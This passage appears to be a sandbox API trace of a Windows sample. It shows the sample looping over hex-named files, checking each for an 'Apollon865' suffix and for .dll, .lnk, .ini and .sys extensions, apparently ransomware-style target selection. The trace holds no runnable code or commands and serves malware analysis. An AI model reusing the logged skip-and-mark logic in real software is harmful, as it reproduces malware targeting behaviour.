	[0044.128] lstrlenW (lpString="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 32
	[0044.128] lstrlenW (lpString="Apollon865") returned 10
	[0044.128] lstrcmpiW (lpString1="D4DBC9C406", lpString2="Apollon865") returned 1
	[0044.128] lstrlenW (lpString=".dll") returned 4
	[0044.128] lstrcmpiW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2=".dll") returned 1
	[0044.128] lstrlenW (lpString=".lnk") returned 4
	[0044.129] lstrcmpiW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2=".lnk") returned 1
	[0044.129] lstrlenW (lpString=".ini") returned 4
	[0044.129] lstrcmpiW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2=".ini") returned 1
	[0044.129] lstrlenW (lpString=".sys") returned 4
	[0044.129] lstrcmpiW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2=".sys") returned 1
	[0044.129] lstrlenW (lpString="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 32
	[0044.129] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="23B523C9E7746F715D33C6527C18EB9D" | out: lpString1="23B523C9E7746F715D33C6527C18EB9D") returned="23B523C9E7746F715D33C6527C18EB9D"
	[0044.129] lstrlenW (lpString="23B523C9E7746F715D33C6527C18EB9D") returned 32
	[0044.129] lstrlenW (lpString="Apollon865") returned 10
	[0044.129] lstrcmpiW (lpString1="527C18EB9D", lpString2="Apollon865") returned -1
	[0044.129] lstrlenW (lpString=".dll") returned 4
	[0044.129] lstrcmpiW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2=".dll") returned 1
	[0044.129] lstrlenW (lpString=".lnk") returned 4
	[0044.129] lstrcmpiW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2=".lnk") returned 1
	[0044.129] lstrlenW (lpString=".ini") returned 4
	[0044.129] lstrcmpiW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2=".ini") returned 1
	[0044.129] lstrlenW (lpString=".sys") returned 4
	[0044.129] lstrcmpiW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2=".sys") returned 1
	[0044.129] lstrlenW (lpString="23B523C9E7746F715D33C6527C18EB9D") returned 32
	[0044.129] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="3130B1871A126520A8C47861EFE3ED4D" | out: lpString1="3130B1871A126520A8C47861EFE3ED4D") returned="3130B1871A126520A8C47861EFE3ED4D"
	[0044.129] lstrlenW (lpString="3130B1871A126520A8C47861EFE3ED4D") returned 32
	[0044.129] lstrlenW (lpString="Apollon865") returned 10
	[0044.129] lstrcmpiW (lpString1="61EFE3ED4D", lpString2="Apollon865") returned -1
	[0044.129] lstrlenW (lpString=".dll") returned 4
	[0044.129] lstrcmpiW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2=".dll") returned 1
	[0044.129] lstrlenW (lpString=".lnk") returned 4
	[0044.129] lstrcmpiW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2=".lnk") returned 1
	[0044.129] lstrlenW (lpString=".ini") returned 4
	[0044.129] lstrcmpiW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2=".ini") returned 1
	[0044.129] lstrlenW (lpString=".sys") returned 4
	[0044.129] lstrcmpiW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2=".sys") returned 1
	[0044.129] lstrlenW (lpString="3130B1871A126520A8C47861EFE3ED4D") returned 32
	[0044.130] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" | out: lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D"
	[0044.130] lstrlenW (lpString="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 65
	[0044.130] lstrlenW (lpString="Apollon865") returned 10
	[0044.130] lstrcmpiW (lpString1="DEC6D6838D", lpString2="Apollon865") returned 1
	[0044.130] lstrlenW (lpString=".dll") returned 4
	[0044.130] lstrcmpiW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2=".dll") returned 1
	[0044.130] lstrlenW (lpString=".lnk") returned 4
	[0044.130] lstrcmpiW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2=".lnk") returned 1
	[0044.130] lstrlenW (lpString=".ini") returned 4
	[0044.130] lstrcmpiW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2=".ini") returned 1
	[0044.130] lstrlenW (lpString=".sys") returned 4
	[0044.130] lstrcmpiW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2=".sys") returned 1
	[0044.130] lstrlenW (lpString="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 65
	[0044.130] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" | out: lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1"
	[0044.130] lstrlenW (lpString="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 65
	[0044.130] lstrlenW (lpString="Apollon865") returned 10
	[0044.130] lstrcmpiW (lpString1="9BDE565AF1", lpString2="Apollon865") returned -1
	[0044.130] lstrlenW (lpString=".dll") returned 4
	[0044.130] lstrcmpiW (lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpString2=".dll") returned 1
	[0044.130] lstrlenW (lpString=".lnk") returned 4
	[0044.130] lstrcmpiW (lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpString2=".lnk") returned 1
	[0044.130] lstrlenW (lpString=".ini") returned 4
	[0044.130] lstrcmpiW (lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpString2=".ini") returned 1
	[0044.130] lstrlenW (lpString=".sys") returned 4
	[0044.130] lstrcmpiW (lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpString2=".sys") returned 1
	[0044.130] lstrlenW (lpString="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 65
	[0044.130] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" | out: lpString1="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398"
	[0044.130] lstrlenW (lpString="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 65
	[0044.130] lstrlenW (lpString="Apollon865") returned 10
	[0044.130] lstrcmpiW (lpString1="B61C303398", lpString2="Apollon865") returned 1
	[0044.131] lstrlenW (lpString=".dll") returned 4
	[0044.131] lstrcmpiW (lpString1="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpString2=".dll") returned 1
	[0044.131] lstrlenW (lpString=".lnk") returned 4
	[0044.131] lstrcmpiW (lpString1="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpString2=".lnk") returned 1
	[0044.131] lstrlenW (lpString=".ini") returned 4
	[0044.131] lstrcmpiW (lpString1="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpString2=".ini") returned 1
	[0044.131] lstrlenW (lpString=".sys") returned 4
	[0044.131] lstrcmpiW (lpString1="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpString2=".sys") returned 1
	[0044.131] lstrlenW (lpString="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 65
	[0044.131] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" | out: lpString1="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9"
	[0044.131] lstrlenW (lpString="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 65
	[0044.131] lstrlenW (lpString="Apollon865") returned 10
	[0044.131] lstrcmpiW (lpString1="9EFCDD76E9", lpString2="Apollon865") returned -1
	[0044.131] lstrlenW (lpString=".dll") returned 4
	[0044.131] lstrcmpiW (lpString1="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpString2=".dll") returned 1
	[0044.131] lstrlenW (lpString=".lnk") returned 4
	[0044.131] lstrcmpiW (lpString1="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpString2=".lnk") returned 1
	[0044.131] lstrlenW (lpString=".ini") returned 4
	[0044.131] lstrcmpiW (lpString1="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpString2=".ini") returned 1
	[0044.131] lstrlenW (lpString=".sys") returned 4
	[0044.131] lstrcmpiW (lpString1="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpString2=".sys") returned 1
	[0044.131] lstrlenW (lpString="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 65
	[0044.131] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" | out: lpString1="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77"
	[0044.131] lstrlenW (lpString="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 65
	[0044.131] lstrlenW (lpString="Apollon865") returned 10
	[0044.131] lstrcmpiW (lpString1="CF29711C77", lpString2="Apollon865") returned 1
	[0044.131] lstrlenW (lpString=".dll") returned 4
	[0044.131] lstrcmpiW (lpString1="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpString2=".dll") returned 1
	[0044.131] lstrlenW (lpString=".lnk") returned 4
	[0044.131] lstrcmpiW (lpString1="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpString2=".lnk") returned 1
	[0044.131] lstrlenW (lpString=".ini") returned 4
	[0044.131] lstrcmpiW (lpString1="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpString2=".ini") returned 1
	[0044.131] lstrlenW (lpString=".sys") returned 4
	[0044.132] lstrcmpiW (lpString1="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpString2=".sys") returned 1
	[0044.132] lstrlenW (lpString="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 65
	[0044.132] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" | out: lpString1="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220"
	[0044.132] lstrlenW (lpString="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 65
	[0044.132] lstrlenW (lpString="Apollon865") returned 10
	[0044.132] lstrcmpiW (lpString1="F8FC7C6220", lpString2="Apollon865") returned 1
	[0044.132] lstrlenW (lpString=".dll") returned 4
	[0044.132] lstrcmpiW (lpString1="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpString2=".dll") returned 1
	[0044.132] lstrlenW (lpString=".lnk") returned 4
	[0044.132] lstrcmpiW (lpString1="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpString2=".lnk") returned 1
	[0044.132] lstrlenW (lpString=".ini") returned 4
	[0044.132] lstrcmpiW (lpString1="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpString2=".ini") returned 1
	[0044.132] lstrlenW (lpString=".sys") returned 4
	[0044.132] lstrcmpiW (lpString1="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpString2=".sys") returned 1
	[0044.132] lstrlenW (lpString="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 65
	[0044.132] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" | out: lpString1="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4"
	[0044.132] lstrlenW (lpString="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 65
	[0044.132] lstrlenW (lpString="Apollon865") returned 10
	[0044.132] lstrcmpiW (lpString1="4D80FAF2B4", lpString2="Apollon865") returned -1
	[0044.132] lstrlenW (lpString=".dll") returned 4
	[0044.132] lstrcmpiW (lpString1="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpString2=".dll") returned 1
	[0044.132] lstrlenW (lpString=".lnk") returned 4
	[0044.132] lstrcmpiW (lpString1="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpString2=".lnk") returned 1
	[0044.132] lstrlenW (lpString=".ini") returned 4
	[0044.132] lstrcmpiW (lpString1="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpString2=".ini") returned 1
	[0044.132] lstrlenW (lpString=".sys") returned 4
	[0044.132] lstrcmpiW (lpString1="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpString2=".sys") returned 1
	[0044.132] lstrlenW (lpString="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 65
	[0044.132] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="696F3DE637E6DE85B458996D49D759AD" | out: lpString1="696F3DE637E6DE85B458996D49D759AD") returned="696F3DE637E6DE85B458996D49D759AD"
	[0044.132] lstrlenW (lpString="696F3DE637E6DE85B458996D49D759AD") returned 32
	[0044.132] lstrlenW (lpString="Apollon865") returned 10
	[0044.132] lstrcmpiW (lpString1="6D49D759AD", lpString2="Apollon865") returned -1
	[0044.133] lstrlenW (lpString=".dll") returned 4
	[0044.133] lstrcmpiW (lpString1="696F3DE637E6DE85B458996D49D759AD", lpString2=".dll") returned 1
	[0044.133] lstrlenW (lpString=".lnk") returned 4
	[0044.133] lstrcmpiW (lpString1="696F3DE637E6DE85B458996D49D759AD", lpString2=".lnk") returned 1
	[0044.133] lstrlenW (lpString=".ini") returned 4
	[0044.133] lstrcmpiW (lpString1="696F3DE637E6DE85B458996D49D759AD", lpString2=".ini") returned 1
	[0044.133] lstrlenW (lpString=".sys") returned 4
	[0044.133] lstrcmpiW (lpString1="696F3DE637E6DE85B458996D49D759AD", lpString2=".sys") returned 1
	[0044.133] lstrlenW (lpString="696F3DE637E6DE85B458996D49D759AD") returned 32
	[0044.133] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" | out: lpString1="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21"
	[0044.133] lstrlenW (lpString="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 65
	[0044.134] lstrlenW (lpString="Apollon865") returned 10
	[0044.134] lstrcmpiW (lpString1="B52968EC21", lpString2="Apollon865") returned 1
	[0044.134] lstrlenW (lpString=".dll") returned 4
	[0044.134] lstrcmpiW (lpString1="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpString2=".dll") returned 1
	[0044.135] lstrlenW (lpString=".lnk") returned 4
	[0044.135] lstrcmpiW (lpString1="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpString2=".lnk") returned 1
	[0044.135] lstrlenW (lpString=".ini") returned 4
	[0044.135] lstrcmpiW (lpString1="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpString2=".ini") returned 1
	[0044.135] lstrlenW (lpString=".sys") returned 4
	[0044.135] lstrcmpiW (lpString1="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpString2=".sys") returned 1
	[0044.135] lstrlenW (lpString="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 65
	[0044.135] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="7396C420A8E1BC1DA97F1AF0D10BAD21" | out: lpString1="7396C420A8E1BC1DA97F1AF0D10BAD21") returned="7396C420A8E1BC1DA97F1AF0D10BAD21"
	[0044.135] lstrlenW (lpString="7396C420A8E1BC1DA97F1AF0D10BAD21") returned 32
	[0044.135] lstrlenW (lpString="Apollon865") returned 10
	[0044.135] lstrcmpiW (lpString1="F0D10BAD21", lpString2="Apollon865") returned 1
	[0044.135] lstrlenW (lpString=".dll") returned 4
	[0044.135] lstrcmpiW (lpString1="7396C420A8E1BC1DA97F1AF0D10BAD21", lpString2=".dll") returned 1
	[0044.135] lstrlenW (lpString=".lnk") returned 4
	[0044.135] lstrcmpiW (lpString1="7396C420A8E1BC1DA97F1AF0D10BAD21", lpString2=".lnk") returned 1
	[0044.135] lstrlenW (lpString=".ini") returned 4
	[0044.135] lstrcmpiW (lpString1="7396C420A8E1BC1DA97F1AF0D10BAD21", lpString2=".ini") returned 1
	[0044.135] lstrlenW (lpString=".sys") returned 4
	[0044.135] lstrcmpiW (lpString1="7396C420A8E1BC1DA97F1AF0D10BAD21", lpString2=".sys") returned 1
	[0044.135] lstrlenW (lpString="7396C420A8E1BC1DA97F1AF0D10BAD21") returned 32
	[0044.135] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" | out: lpString1="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6"
	[0044.135] lstrlenW (lpString="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 65
	[0044.135] lstrlenW (lpString="Apollon865") returned 10
	[0044.135] lstrcmpiW (lpString1="3D8A7A8AD6", lpString2="Apollon865") returned -1
	[0044.135] lstrlenW (lpString=".dll") returned 4
	[0044.135] lstrcmpiW (lpString1="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpString2=".dll") returned 1
	[0044.136] lstrlenW (lpString=".lnk") returned 4
	[0044.136] lstrcmpiW (lpString1="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpString2=".lnk") returned 1
	[0044.136] lstrlenW (lpString=".ini") returned 4
	[0044.136] lstrcmpiW (lpString1="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpString2=".ini") returned 1
	[0044.136] lstrlenW (lpString=".sys") returned 4
	[0044.136] lstrcmpiW (lpString1="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpString2=".sys") returned 1
	[0044.136] lstrlenW (lpString="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 65
	[0044.136] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9" | out: lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="7B2238AACCEDC3F1FFE8E7EB5F575EC9"
	[0044.136] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0044.136] lstrlenW (lpString="Apollon865") returned 10
	[0044.136] lstrcmpiW (lpString1="EB5F575EC9", lpString2="Apollon865") returned 1
	[0044.136] lstrlenW (lpString=".dll") returned 4
	[0044.136] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".dll") returned 1
	[0044.136] lstrlenW (lpString=".lnk") returned 4
	[0044.136] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".lnk") returned 1
	[0044.136] lstrlenW (lpString=".ini") returned 4
	[0044.136] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".ini") returned 1
	[0044.136] lstrlenW (lpString=".sys") returned 4
	[0044.136] lstrcmpiW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2=".sys") returned 1
	[0044.136] lstrlenW (lpString="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 32
	[0044.136] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" | out: lpString1="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D"
	[0044.136] lstrlenW (lpString="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 65
	[0044.136] lstrlenW (lpString="Apollon865") returned 10
	[0044.136] lstrcmpiW (lpString1="AED525802D", lpString2="Apollon865") returned -1
	[0044.136] lstrlenW (lpString=".dll") returned 4
	[0044.136] lstrcmpiW (lpString1="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpString2=".dll") returned 1
	[0044.136] lstrlenW (lpString=".lnk") returned 4
	[0044.136] lstrcmpiW (lpString1="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpString2=".lnk") returned 1
	[0044.136] lstrlenW (lpString=".ini") returned 4
	[0044.136] lstrcmpiW (lpString1="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpString2=".ini") returned 1
	[0044.136] lstrlenW (lpString=".sys") returned 4
	[0044.136] lstrcmpiW (lpString1="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpString2=".sys") returned 1
	[0044.136] lstrlenW (lpString="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 65
	[0044.137] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" | out: lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6"
	[0044.137] lstrlenW (lpString="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 65
	[0044.137] lstrlenW (lpString="Apollon865") returned 10
	[0044.137] lstrcmpiW (lpString1="10C078E6E6", lpString2="Apollon865") returned -1
	[0044.137] lstrlenW (lpString=".dll") returned 4
	[0044.137] lstrcmpiW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpString2=".dll") returned 1
	[0044.137] lstrlenW (lpString=".lnk") returned 4
	[0044.137] lstrcmpiW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpString2=".lnk") returned 1
	[0044.137] lstrlenW (lpString=".ini") returned 4
	[0044.137] lstrcmpiW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpString2=".ini") returned 1
	[0044.137] lstrlenW (lpString=".sys") returned 4
	[0044.137] lstrcmpiW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpString2=".sys") returned 1
	[0044.137] lstrlenW (lpString="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 65
	[0044.137] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" | out: lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD"
	[0044.137] lstrlenW (lpString="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 65
	[0044.137] lstrlenW (lpString="Apollon865") returned 10
	[0044.137] lstrcmpiW (lpString1="E5A870E3BD", lpString2="Apollon865") returned 1
	[0044.137] lstrlenW (lpString=".dll") returned 4
	[0044.137] lstrcmpiW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpString2=".dll") returned 1
	[0044.137] lstrlenW (lpString=".lnk") returned 4
	[0044.137] lstrcmpiW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpString2=".lnk") returned 1
	[0044.137] lstrlenW (lpString=".ini") returned 4
	[0044.137] lstrcmpiW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpString2=".ini") returned 1
	[0044.137] lstrlenW (lpString=".sys") returned 4
	[0044.137] lstrcmpiW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpString2=".sys") returned 1
	[0044.137] lstrlenW (lpString="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 65
	[0044.138] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0"
	[0044.138] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 65
	[0044.138] lstrlenW (lpString="Apollon865") returned 10
	[0044.138] lstrcmpiW (lpString1="9716359AF0", lpString2="Apollon865") returned -1
	[0044.138] lstrlenW (lpString=".dll") returned 4
	[0044.138] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpString2=".dll") returned 1
	[0044.138] lstrlenW (lpString=".lnk") returned 4
	[0044.138] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpString2=".lnk") returned 1
	[0044.138] lstrlenW (lpString=".ini") returned 4
	[0044.138] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpString2=".ini") returned 1
	[0044.138] lstrlenW (lpString=".sys") returned 4
	[0044.138] lstrcmpiW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpString2=".sys") returned 1
	[0044.138] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 65
	[0044.138] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E"
	[0044.138] lstrlenW (lpString="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 65
	[0044.138] lstrlenW (lpString="Apollon865") returned 10
